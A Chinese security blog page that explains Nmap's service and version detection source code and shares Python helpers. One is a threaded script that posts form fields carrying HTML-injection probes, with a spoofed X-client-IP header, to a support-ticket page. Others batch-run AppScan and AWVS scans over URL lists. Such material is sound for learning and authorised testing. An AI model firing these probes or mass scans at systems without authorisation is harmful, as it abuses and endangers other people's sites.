Nmap源码分析(服务与版本扫描)

发布时间:August 7, 2015 // 分类:开发笔记,运维工作,工作日志,linux,VC/C/C++,转帖文章,windows // No Comments

  Nmap提供了丰富的命令行选项(100多个选项),所以Nmap的命令行用法既可以简单到直接输入nmap targetip,也可以复杂到添加几十个选项对扫描过程进行性能优化。对Nmap的各类命令行选项有个总体把握,是熟练使用Nmap的先决条件。因此,这里以思维导图方式将Nmap的常用选项绘制出来,给用户清晰直观的印象。

  Nmap的思维导图(Mindmap)

  下载地址:http://aspirationflowspace.googlecode.com/files/nmap_usage_mindmap.png

Nmap源码分析(服务与版本扫描)

 

  在进行端口扫描后,Nmap可以进一步探测出运行在端口上的服务类型及应用程序的版本。目前Nmap可以识别几千种服务程序的签名(Signature),覆盖了180多种应用协议。比如,端口扫描检测到80端口是开放的,可以通过服务与版本扫描来确定其实际运行的协议(正常情况下是HTTP)及Web服务器名称及版本(比如是Apache xxx.xxx或者Microsoft IIS等)。

 

 

  扫描原理是服务指纹(或称签名)对比匹配。Nmap内部包含了几千种常见服务指纹的数据库(nmap-service-probes),对目标端口进行连接通信,产生当前端口的服务指纹,再与指纹数据库对比,寻找出匹配的服务类型。

  服务与版本侦测主要分为以下几个步骤:

1.        首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

2.        如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中ProbeTCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“Welcome Banner”信息。nmap将接收到的Banner与nmap-services-probes中NULLprobe中的签名进行对比。查找对应应用程序的名字与版本信息。

3.        如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

4.        如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

5.        如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

6.        如果探测到应用程序是SunRPC,那么调用brute-forceRPC grinder进一步探测具体服务。

 

服务扫描用法

-sV: 指定让Nmap进行版本侦测

--version-intensity<level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

--version-light: 指定使用轻量侦测方式 (intensity 2)

--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

--version-trace: 显示出详细的版本侦测过程信息。

2   实现框架
下面先介绍服务与版本扫描涉及到的源文件与库、核心Class,然后介绍服务扫描的核心函数实现流程及流程的细节。
 
2.1  文件组织

service_scan.cc/service_scan.h

服务扫描的核心功能都在此两个文件中实现,文件结构清晰简洁,代码行数总共3000余行。与端口扫描部分类似,服务扫描也定义了不少类与接口函数。

nmap-service-probes

此文件是nmap服务扫描所需的数据库文件,包括定制的探测包及预期的回复包,及识别服务类型的具体匹配方式。

下面摘取其中片段,简单了解其结构。

Probe TCPNULL q||
# Wait forat least 6 seconds for data.  It used tobe 5, but some
# smtpservices have lately been instituting an artificial pause (see
#FEATURE('greet_pause') in Sendmail, for example)
totalwaitms6000
 
match 1c-server m|^S\xf5\xc6\x1a{|p/1C:Enterprise business management server/
 
match4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|sp/4th Dimension database server/
 
match acapm|^\* ACAP IMPLEMENTATION\"CommuniGateProACAP(\d[−.\w]+)\" |p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/
match acmpm|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/
matchactivemq m|^\0\0\0.\x01ActiveMQ\0\0\0|s p/Apache ActiveMQ/

第一行Probe关键字表示定义一个探测包,其类型为TCP,名字为NULL,探测字符串为空(q||)。以#开头为注释行,为读者提供参考信息。随后定义默认服务等待时间totalwaims 6000,即6秒钟。后面的match行,定义服务匹配的情况,即在此条件下认为此端口是运行的具体服务类型。match行的格式如下:

match <service> <pattern> [<versioninfo>]

service为服务名称,pattern为匹配的模式(正则表达式),versioninfo为该服务对应的版本信息。这里以match 1c-serverm|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/为例,当使用NULL探测包获取的返回包中包含:m|^S\xf5\xc6\x1a{|模式(该正则表达式含义:以字符S开头,紧随其后三个字符\xf5\xc6\x1a)时,并且从提取出厂商产品名字与1C:Enterprise businessmanagement server相符,那么判断该服务为1c-server。

其他的行与此类似,这里就不再赘述。

 

nsock library

服务与版本扫描部分用到nsock库,该库设计用于并发处理网络事件。在Nmap源码树下,有单独的nsock目录来管理nsock库。此处我们仅需要关注nsock.h文件中提供的API函数即可。

2.2  核心类分析

  服务扫描过程中,主要构建了5个类,分别描述不同层次的数据类型。下面我们将以宏观到微观的思路,依次查看每个类的结构与用法。其中ServiceGroup从整理的角度管理服务扫描过程;ServiceNFO则具体的负责管理每一种服务扫描过程;AllProbes负责管理所有用于服务扫描的探测包;ServiceProbe则描述每一个进行服务探测的探测包细节(对应nmap-service-probes中描述的探测包);ServiceProbeMatch则描述探测包的匹配类型(每一个ServiceProbe可能包含多种匹配类型)。

  下面依次查看每个类的细节。

 

2.2.1ServiceGroup

  ServiceGroup用于管理一组目标机进行服务扫描的信息。这个类非常重要,负责统一管理其他具体的信息:如单个服务扫描信息(ServiceNFO)、全部探测包信息(AllProbes)、服务探测包信息(ServiceProbe)等等。

  该类主要包含以下具体内容:

  1. 扫描完成的服务列表services_finished,记录目前已经扫描完毕的服务。
  2. 正在扫描的服务列表services_in_progress。多个服务可能在同时并发地被探测,所以此处将当前正在扫描的服务全部记录在该列表中。
  3. 剩余服务列表services_remaining,当前还没有开始探测的服务被放置在该列表中。在服务扫描初始化时,所有的服务的都被放置在列表中。
  4. 最大的并发探测包ideal_parallelism,用于确定同时发送服务探测包的并发数量,此值取决于用户配置的时序参数和具体网卡的支持能力等因素。若配置时序为-T4,那么会将ideal_parallelism设置40。
  5. 扫描进度测量器ScanProgressMeter,用于记录服务扫描的进度情况,以便能够实时地反馈给用户。在控制台界面按下普通按键(如按下空格键,不包括“vVdDp?”字符,这几个字符有特殊含义),Nmap会打印出当前的扫描进度。
  6. 超时主机的数量,记录当前扫描超时的主机数量。
// This holds theservice information for a group of Targets being service scanned.

class ServiceGroup {

public:

  ServiceGroup(vector<Target *>&Targets, AllProbes *AP);

  ~ServiceGroup();

  list<ServiceNFO *> services_finished;// Services finished (discovered or not)

  list<ServiceNFO *>services_in_progress; // Services currently being probed

  list<ServiceNFO *> services_remaining;// Probes not started yet

  unsigned int ideal_parallelism; // Max (anddesired) number of probes out at once.

  ScanProgressMeter *SPM;

  int num_hosts_timedout; // # of hosts timedout during (or before) scan

};

2.2.2ServiceNFO

  ServiceNFO负责管理特定的服务的探测细节。上述的ServiceGroup中就是管理ServiceNFO对象组成的列表。

  ServiceNFO类包含以下信息:

  1. 服务指纹的管理(提供添加与获取等操作)
  2. 服务扫描对应的主机(Target *target)
  3. 服务探测匹配的信息(是否匹配、是否softmatch、ssl配置、产品、版本、CPE等信息)
  4. 管理探测包(服务扫描过程可能需要发送多个探测包,在此对当前探测包、下一个探测包进行管理)
  5. 管理回复包(提供添加与获取等操作)。
  6. 服务扫描所需的全部探测包AllProbes *AP;

 

2.2.3AllProbes

  AllProbes负责管理全部的服务探测包(Probes)。该类的对象从nmap-service-probes数据库文件中解析出探测包及匹配方式等信息,将之管理起来。在后续服务扫描时,在此对象中来按需取出探测包发送即可。

  该类主要包含以下几个方面内容:

  1. 探测包管理(探测包向量std::vector<ServiceProbe *>probes、NULL探测包等)
  2. 编制回退数组(compileFallbacks),当回复包无法匹配当前字符串时,允许回退到上一次匹配字符串。
  3. 管理排除端口列表。在nmap-service-probes中指定需排除的服务扫描,默认排除TCP的9100-9107端口,此类打印机服务会返回大量的无用信息。
  4. 服务初始化接口与释放接口。

 

2.2.4ServiceProbe

  ServiceProbe负责管理单个的服务探测包的详细信息。服务探测包具体的信息来自nmap-service-probes数据库文件,当AllProbes类在初始化时会读取该文件,并依据其每个探测信息创建ServiceProbe对象,放置在AllProbes内部的向量std::vector<ServiceProbe *>probes中。

  该类主要包含以下内容:

  1. 探测包名字,比如探测包名字叫NULL或GenericLines等等。
  2. 探测包字符串及字符串长度。非NULL探测包都包含探测需要字符串,所以此处对该信息进行管理。例如,对于探测包:Probe TCP GenericLinesq|\r\n\r\n|,其探测字符串为\r\n\r\n。
  3. 允许的端口及SSL端口。除NULL外,探测包通常只会针对特定的端口扫描才有效,所以此处即管理该探测包允许的扫描的端口。
  4. 探测包的协议类型probeprotocol,只能是TCP或UDP。
  5. 可被探测的服务类型detectedServices。与允许端口类似,探测包可能只能用于某些特定的服务的探测,所以此处统一管理能被探测的服务类型。
  6. 服务探测包匹配管理。该类中使用向量std::vector<ServiceProbeMatch*> matches来管理此服务探测包可能会匹配的情况,匹配情况对应到nmap-service-probes中的match与softmatch行。
  7. 探测回退数组(fallback array)的管理,此对应到AllProbes中compileFallbacks()函数,此处管理具体的服务探测包进行回退的数组。数组结构:ServiceProbe*fallbacks[MAXFALLBACKS+1];
  8. 测试是否匹配,此接口函数用于测试某个回复包是否与预期结果匹配。
  9. 其他接口函数,管理其他普通信息。

 

2.2.5ServiceProbeMatch

  ServiceProbeMatch用于管理特定的服务探测包的匹配信息(match)。nmap-service-probes文件中每一个match和softmatch行都对应到该类的对象。

该类信息比较丰富,以下仅简要描述:

  1. 探测包匹配详细信息(版本、产品、CPE等等)
  2. 探测匹配情况(匹配类型、匹配字符串、正则表达式等等)
  3. 测试是否匹配接口函数。若匹配成功,返回详细的服务与版本信息。

 

2.3  代码流程

  在nmap.cc文件的nmap_main()函数中,如果配置了服务扫描,那么调用service_scan()函数(位于service_scan.cc文件中)。服务扫描的内容主要在service_scan()函数中完成。

  service_scan()函数比较简洁,只有120多行代码。因为服务扫描涉及到具体详细的操作都封装到类或其他的静态非成员函数中了,而并发处理网络事件部分调用nsock库来处理。

2.3.1代码流程图

2.3.2流程解析

  首先在nmap_main()中将扫描目标机传入service_scan()函数中,以便根据目标机端口状态来筛选需要扫描的服务。

  然后,在AllProbes:: service_scan_init()读取nmap-service-probes文件,解析出被排除的端口、扫描过程需要的探测包、探测包匹配等详细信息。将信息存放在AllProbes对象内。

  随后,根据Targets和AllProbes创建服务组对象(ServiceGroup),从Targets中解析出开放的端口与处于open|filtered状态的端口,创建对应的ServiceNFO对象,该服务等待被扫描。并创建扫描进度测量器,以便后续打印出扫描进度;确定最佳的扫描并发度ideal_parallelism。

  然后,确定排除端口。默认情况下,排除nmap-service-probes中指定的端口Exclude T:9100-9107;而如果用户命令行指定--all-ports,那么不排除Exclude指定的端口。

为每个目标机设置超时时钟,获取当前时间。

  然后开始进入关键环节,创建nsock pool,即nsock处理并发探测包的事件池。在创建nsock pool后,服务扫描才能使用nsock建立连接并注册事件。

根据用户需求,设置服务扫描的trace信息。

  若配置了openssl时,将其速度设置为最大。因为对于服务扫描,仅关心端口的服务类型,不必在安全性花费过多时间。

  然后开始启动少量的服务探测包(launchSomeServiceProbes)。根据前述步骤得出的服务探测包,创建nsock niod(io描述符,类似于文件描述符,管理输入输出),完成地址等信息配置,然后建立CP连接或UDP连接,在建立连接后向nsock pool注册事件。此后,该连接的事件将交给nsock loop来统一处理。

  创建nsock主循环(nsock_loop),在此循环中来接收网络事件(例如接收到回复包),调用相应的处理函数对事件响应(函数servicescan_read_handler()、servicescan_write_handler()、servicescan_connect_handler())。在处理函数中,扫描完成了某些服务后,会再调用launchSomeServiceProbes()函数加载剩余的服务进来扫描,以此整个服务扫描过程就被有序地连接起来了。

  当nsock循环退出,检查是否有错,并删除nsock pool对象。

  打印出调试信息,处理最终扫描结果。

3  源码注释

/* Execute a service fingerprinting scan against all open ports of the
   Targets specified. */
///针对指定目标机的开放的端口进行服务指纹扫描,
///此处会用到Nmap的nsock库(并发的Socket Event处理库)
int service_scan(vector<Target *> &Targets) {
  // int service_scan(Target *targets[], int num_targets)
  AllProbes *AP;
  ServiceGroup *SG;
  nsock_pool nsp;
  struct timeval now;
  int timeout;
  enum nsock_loopstatus looprc;
  struct timeval starttv;

  if (Targets.size() == 0)
    return 1;

  AP = AllProbes::service_scan_init();///获取AllProbes对象,AllProbes仅维护一个Static对象
  ///在service_scan_init()中将读取nmap-service-probes文件,解析出需要的探测包,并存放在
  ///AllProbes中std::vector<ServiceProbe *> probes向量中。


  // Now I convert the targets into a new ServiceGroup
  ///使用Targets向量与AllProbes创建服务组ServiceGroup,从Targets中提取open端口及
  ///open|filtered端口,放入services_remaining等待进行服务扫描。
  ///在创建服务组时,确定出服务扫描的最佳并发度ideal_parallelism
  SG = new ServiceGroup(Targets, AP);

  if (o.override_excludeports) {
    ///覆盖被排除端口,当命令行中指定--all-ports时会走到此分支。
    ///被排除的端口是指在nmap-service-probes文件用Exclude指令定义的端口。
    if (o.debugging || o.verbose) log_write(LOG_PLAIN, "Overriding exclude ports option! Some undesirable ports may be version scanned!\n");
  } else {
    ///从ServiceGroup中移除被排除的端口,Nmap默认会排出掉9100-9107与打印机相关的服务,
    ///因为此类服务只是简单返回Nmap发送过去的探测包,会产生大量的垃圾的流量。
    ///默认情况下在nmap-service-probes文件头部定义:Exclude T:9100-9107
    remove_excluded_ports(AP, SG);
  }
  ///为所有需要进行服务扫描的主机设置超时值
  startTimeOutClocks(SG);

  if (SG->services_remaining.size() == 0) {
    delete SG;
    return 1;
  }
  
  gettimeofday(&starttv, NULL);
  if (o.verbose) {
    char targetstr[128];
    bool plural = (Targets.size() != 1);
    if (!plural) {
      (*(Targets.begin()))->NameIP(targetstr, sizeof(targetstr));
    } else Snprintf(targetstr, sizeof(targetstr), "%u hosts", (unsigned) Targets.size());

    log_write(LOG_STDOUT, "Scanning %u %s on %s\n", 
          (unsigned) SG->services_remaining.size(), 
          (SG->services_remaining.size() == 1)? "service" : "services", 
          targetstr);
  }

  // Lets create a nsock pool for managing all the concurrent probes
  // Store the servicegroup in there for availability in callbacks
  ///创建nsock pool,以使用nsock并发控制探测包
  if ((nsp = nsp_new(SG)) == NULL) {
    fatal("%s() failed to create new nsock pool.", __func__);
  }

  ///根据用户指定的packettrace配置,设置nsock的trace级别
  if (o.versionTrace()) {
    nsp_settrace(nsp, NULL, NSOCK_TRACE_LEVEL, o.getStartTime());
  }

#if HAVE_OPENSSL
  /* We don't care about connection security in version detection. */
  ///配置SSL时,关注传输速度,而不关注安全性本身,以加速服务扫描过程。
  nsp_ssl_init_max_speed(nsp);
#endif

  ///从service_remaining列表中找出满足条件的等待探测服务,对之进行配置,
  ///创建nsock文件描述符(niod),并通过nsock建立连接(如nsock_connect_tcp()),
  ///并将此探测服务移动到services_in_progress列表中。
  launchSomeServiceProbes(nsp, SG);

  // How long do we have before timing out?
  gettimeofday(&now, NULL);
  timeout = -1;

  // OK!  Lets start our main loop!
  ///nsock主循环,在此循环内处理各种探测包的事件(nsock event)
  ///在上述的launchSomeServiceProbes操作中,调用到nsock_connect_tcp/udp/sctp等,
  ///最终执行nsp_add_event函数向nsock pool添加等待处理的事件。
  looprc = nsock_loop(nsp, timeout);
  if (looprc == NSOCK_LOOP_ERROR) {
    int err = nsp_geterrorcode(nsp);
    fatal("Unexpected nsock_loop error.  Error code %d (%s)", err, strerror(err));
  }
  ///退出主循环后,删除nsock pool
  nsp_delete(nsp);

  if (o.verbose) {
    char additional_info[128];
    if (SG->num_hosts_timedout == 0)
      Snprintf(additional_info, sizeof(additional_info), "%u %s on %u %s",
        (unsigned) SG->services_finished.size(),  
        (SG->services_finished.size() == 1)? "service" : "services", 
        (unsigned) Targets.size(), (Targets.size() == 1)? "host" : "hosts");
    else Snprintf(additional_info, sizeof(additional_info), "%u %s timed out", 
           SG->num_hosts_timedout, 
           (SG->num_hosts_timedout == 1)? "host" : "hosts");
    SG->SPM->endTask(NULL, additional_info);
  }

  // Yeah - done with the service scan.  Now I go through the results
  // discovered, store the important info away, and free up everything
  // else.
  ///对服务扫描结果的处理
  processResults(SG);

  delete SG;

  return 0;
}

from:http://blog.csdn.net/aspirationflow/article/details/7910350

python之Thread初体验

发布时间:July 27, 2015 // 分类:开发笔记,运维工作,工作日志,代码学习,python,windows,生活琐事 // No Comments

最开始的原因是因为某个哥们在拿着burp反复的提交着某个页面的某个参数

看不下去了。建议拿脚本写一个来提交。然后要求使用多线程进行

#!python
#-*- coding:utf8 -*-
#Author saline
#Email nophacker@gmail.com

import requests,threading
from time import sleep, ctime

class MyThread(threading.Thread):
#创建MyThread类,用于继承threading.Thread类。
    def __init__(self,func,args,name=''):
    #使用类的初始化方法对func、args、name等参数进行初始化。
        threading.Thread.__init__(self)
        self.name=name
        self.func=func
        self.args=args
    
    def run(self):
        apply(self.func,self.args)
    #apply(func [, args [, kwargs ]]) 函数用于当函数参数已经存在于一个元组或字典中时,间接地调用函数。args是一个包含将要提供给函数的按位置传递的参数的元组。如果省略了args,任何参数都不会被传递,kwargs是一个包含关键字参数的字典。    

def post():
    header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
       'Origin':'http://support.0day5.com',
       'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36',
       'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryuOYBiRdLALEyGT1o',
       'Referer':'http://support.0day5.com/request/new/',
       'Cookie':'SERVER_ID=yyyyyyyyyyyyyyyyyy; request_ticket_view=list; PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxx',
       'Accept-Language':'zh-CN,zh;q=0.8',
       'Accept-Encoding':'gzip, deflate',
       'X-client-IP':'127.0.0.1'}#好麻烦的。直接不打算继续使用了
    posturl = "http://support.0day5.com/request/new/"
    postdata='------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"yform_ticket_form\"\r\n\r\n1<\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[requester_id]\"\r\n\r\n486347\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[title]\"\r\n\r\n##\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[field_1910]\"\r\n\r\nwww.0cx.cc\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[content]\"\r\n\r\n<p>\r\n</p><p><br/>testetstetst</p>\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"file\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o--'
    r = requests.post(posturl,postdata,headers = header)
    print r.history
    #打印状态码
threads = []
for i in xrange(20):
    t = MyThread(post,())
    threads.append(t)
    t.start()
    print 'end:%s' %ctime()
        

赶紧去看看自己的邮箱提醒

整合了最近整理的东西

发布时间:July 27, 2015 // 分类:开发笔记,运维工作,工作日志,代码学习,python,windows,生活琐事 // No Comments

最近整理了下几个扫描器的命令行运行的东西。

appscan

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt Application /rt Html /rf d:\localhost.Html
比较有效的


AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt Infrastructure /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Low /tt All /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev Medium /tt All /rt Html /rf d:\localhost.Html

AppScanCMD.exe /e /su http://127.0.0.1 /pf d:\\self.policy /st d:\\self.scant /msev High /tt All /rt Html /rf d:\localhost.Html

然后是AWVS

wvs_console /Scan http://127.0.0.1  /Profile ws_default /saveFolder d:\ --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true /GenerateReport /ReportFormat pdf

于是稍微整理下

#!python
#-*- coding:utf8 -*-
#Author saline
#Email nophacker@gmail.com
import sys,os
from optparse import OptionParser 

appscancmd = r'D:\\"Program Files"\\IBM\\"AppScan Standard"\\AppScanCMD.exe'
wvs_console = r'D:\\"Program Files"\\Acunetix\\"Scanner"\\wvs_console.exe'
saveFolder = r'D:\\work\\'

def init_parser():
    usage = "Usage: %prog --host http://www.example.com --scan awvs"
    parser = OptionParser(usage=usage, description="AppScanCMD AND AWVS_console scan")
    parser.add_option("--host", type="str", dest="host", help="remote host name")
    parser.add_option("--scan", type="str", dest="command", help="chose what scan.just appscan and wvscmd")
    return parser

def scan(url,scan):
        if 'http' in url:
                name = url.split('//')[1].replace('/','')
                url = url
        else:
                name = url.replace('\n','')
                url = 'http://'+url
        #appcmd = ('%s /e /su %s /pf d:\\self.policy /st d:\\self.scant /msev Medium /tt All /rt pdf /rf d:\\work\\%s\\appscan.pdf')%(appscancmd,url,name)
        appcmd = ('%s /e /su %s /st d:\\self.scant /msev Medium /tt All /rt pdf /rf %s%s\\appscan.pdf')%(appscancmd,url,saveFolder,name)
        wvscmd =('%s /Scan %s  /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true /GenerateReport /ReportFormat pdf')%(wvs_console,url,saveFolder,name)
        if 'appscan' in scan:
            cmd = appcmd
        else:
            cmd = wvscmd
        os.system(cmd)

def main():
    parser = init_parser()
    option, _ = parser.parse_args()
    domain = option.host
    command  = option.command

    if not domain:
        parser.print_help()
        sys.exit(0)

    domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
    domain = domain if not domain.endswith('/') else domain[:-1]
    return scan(domain,command)


if __name__ == "__main__":
        main()

使用的方法也是很简单

python scan.py
Usage: scan.py --host http://www.example.com --scan awvs

AppScanCMD AND AWVS_console scan

Options:
  -h, --help      show this help message and exit
  --host=HOST     remote host name
  --scan=COMMAND  chose what scan.just appscan and wvscmd

awvs

发现野生的设计一枚.

扫描核心为awvs console,用nginx反向代理+DNSsever解决了,登录认证问题(大部分情况)

About Acunetix WVS Console

发布时间:July 24, 2015 // 分类:运维工作,开发笔记,工作日志,python,windows,生活琐事 // 6 Comments

今天看到一个大牛在弄一个基于windows和linux下各自扫描器的分布式的系统。由于不同的扫描工具,所运行的环境有所不同,导致我们的扫描系统有必要兼容不同的系统。比如hydra, openvas等工具,它们是比较适合运行在Linux上,而WVS,appscan等工具是运行在Windows上,所以我们有必要同时兼容这两大类系统。如果再深入一点,Linux也分为很多种不同的系统,比如CentOS, Ubuntu,Redhat等,而且即便相同的系统,内核版本不同的话,运行环境也是有很大的区别。

然而今天思考的问题是在windows下进行的AWVS扫描。主要调用了Awvs的命令行wvs_console.exe

>> USAGE: wvs_console /Scan [URL]  OR  /Crawl [URL]  OR  /ScanFromCrawl [FILE]
                      OR  /ScanWSDL [WSDL URL]

>> PARAMETERS                                                                        //参数
       /Scan [URL]               : Scan specified URL                                //扫描特定的URL
       /Crawl [URL]              : Crawl specified URL                               //检索指定的url
       /ScanFromCrawl [FILE]     : Scan from crawling results                        //扫描检索的结果
       /ScanWSDL [WSDL URL]      : Scan web services from WSDL URL                   //扫描来自wsdl的参数URL

       /Profile [PROFILE_NAME]   : Use specified scanning profile during scanning    //使用指定的扫描配置进行扫描
       /Settings [FILE]          : Use specified settings template during scanning   //使用指定的设置模板进行扫描
       /LoginSeq [FILE]          : Use specified login sequence                      //使用指定的登录序列
       /Import [FILE(s)]         : Import files during crawl                         //导入检索的地址进行爬行
       /Run [command line]       : Run this command during crawl                     //
       /Selenium [FILE]          : Execute selenium script during crawl              //执行selenium脚本进行爬行

       /Save                     : Save scan results                                 //保存结果
       /SaveFolder [DIR]         : Specify the folder were all the saved data will be stored //保存记录的目录
       /GenerateZIP              : Compress all the saved data into a zip file       //对所有的数据进行zip压缩
       /ExportXML                : Exports results as XML                            //将结果以XML方式导出
       /ExportAVDL               : Exports results as AVDL                           //将结果以AVDL方式导出
       /SavetoDatabase           : Save alerts to the database                       //把警告数据保存进数据库
       /SaveLogs                 : Save scan logs                                    //保存扫描日志
       /SaveCrawlerData          : Save crawler data (.CWL file)                     //保存检索(爬行)数据
       /GenerateReport           : Generate a report after the scan was completed    //扫描完成后生成报告
       /ReportFormat [FORMAT]    : Generated report format (REP, PDF, RTF, HTML)     //生成报告的格式
       /ReportTemplate [TEMPLATE]: Specify the report template                       //特定的报告模板
       /Timestamps               : Print current timestamp with each line.           //打印每行的时间戳
       /SendEmail                : Send email notification when scan is completed, using scheduler settings. //扫描结束后发送电子邮件
       /EmailAddress [EMAIL]     : Send email notification to this email address, override scheduler settings. //邮件地址会把之前设置的给覆盖掉

       /Verbose                  : Enable verbose mode                               //开启细节模式。也就是发送的具体参数
       /Password                 : Application password (if required)                //如果有需要写入密码
       /?                        : Show this help screen                             //没得说,帮助

>> OPTIONS [ ? = TRUE or FALSE ]                                                   //选项  =true 或者是=false
       --GetFirstOnly=?          : Get only the first URL                            //仅仅获取第一个url
       --RestrictToBaseFolder=?  : Do not fetch anything above start folder          //不扫描当前目录以上的其他目录(扫描二级目录有效)
       --FetchSubdirs=?          : Fetch files bellow base folder                    //
       --ForceFetchDirindex=?    : Fetch directory indexes even if not linked        //扫描目录,即使该目录不再链接里面(就是目录匹配)
       --RobotsTxt=?             : Retrieve and process robots.txt                   //从robots.txt里面获取目录进行爬行
       --CaseInsensitivePaths=?  : Use case insensitive paths                        //
       --UseWebKit=?             : Use WebKit based browser for discovery            //使用基于WebKit的浏览器
       --ScanningMode=*          : Scanning mode (* = Quick, Heuristic, Extensive)   //扫描模式(快速、启发式、广泛的)
       --ManipHTTPHeaders=?      : Manipulate HTTP headers                           //http头可以修改(个人暂时理解为可以修改http头进行提交)
       --UseAcuSensor=?          : Use AcuSensor technology                          //使用AcuSensor 技术(不明所以)
       --EnablePortScanning=?    : Enable port scanning                              //启用端口扫描
       --UseSensorDataFromCrawl=*: Use sensor data from crawl(* = Yes, No, Revalidate) //抓取fuzz提交的数据( = 是,否,重新验证)
       --HtmlAuthUser=?          : Username for HTML based authentication            //基于HTTP认证的用户名
       --HtmlAuthPass=?          : Password for HTML based authentication            //基于HTTP认证的密码
       --ToolTimeout=?           : Timeout for testing tool in seconds               //设置提交的超时时间

>> EXAMPLES
wvs_console /Scan http://testphp.vulnweb.com  /SaveFolder c:\temp\scanResults\ /Save
wvs_console /ScanWSDL http://test/WS.asmx?WSDL /Profile ws_default /Save
wvs_console /Scan http://testphp.vulnweb.com /Profile default /Save --UseWebKit=false --ScanningMode=Heuristic]]

那么扫描的命令我就这样子使用了

wvs_console.exe /Scan http://testphp.vulnweb.com /Profile ws_default /save /savetodatabase --GetFirstOnly=false --FetchSubdirs=true --Re
strictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --Us
eAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false
--ManipHTTPHeaders=true

既然如此,那么批量扫描也是就是顺理成章的事情了

#!/usr/bin/python
# coding: UTF-8
'''
wvs_console 批量扫描脚本
'''

import sys,os,time

urllist = r'd:\\urllist.txt'    #需扫描网站列表文件
savefolder = r'd:\\result\\'    #扫描结果保存路劲
wvs_console = r'F:\\"Program Files (x86)"\\Acunetix\\"Scanner 10"\\wvs_console.exe' #wvs_console路径


def scan(url,folder):
    if 'http' in url:
        name = url.split('//')[1].replace('/','')
        url = url
    else:
        name = url.replace('\n','')
        url = 'http://'+url
    name = name.replace('\n','')
    url = url.replace('\n','')
    if name in os.listdir(folder):
        print '%s has scaned'%name
    else:
#       os.system('%s'%wvs_console)
        os.system('%s /Scan %s /Profile ws_default /saveFolder %s%s --GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=false --ManipHTTPHeaders=true'%(wvs_console,url,folder,name))



if __name__ == '__main__':
    if not os.path.exists(urllist):
        print r'需扫描的网站文件不存在'
    if os.path.exists(savefolder) == False:
        os.mkdir(savefolder)
    for i in open(urllist):
        scan(i,savefolder)

再然后就是对数据的处理上来了

默认保存的位置为:C:\ProgramData\Acunetix WVS 10\Data\Database\vulnscanresults.mdb

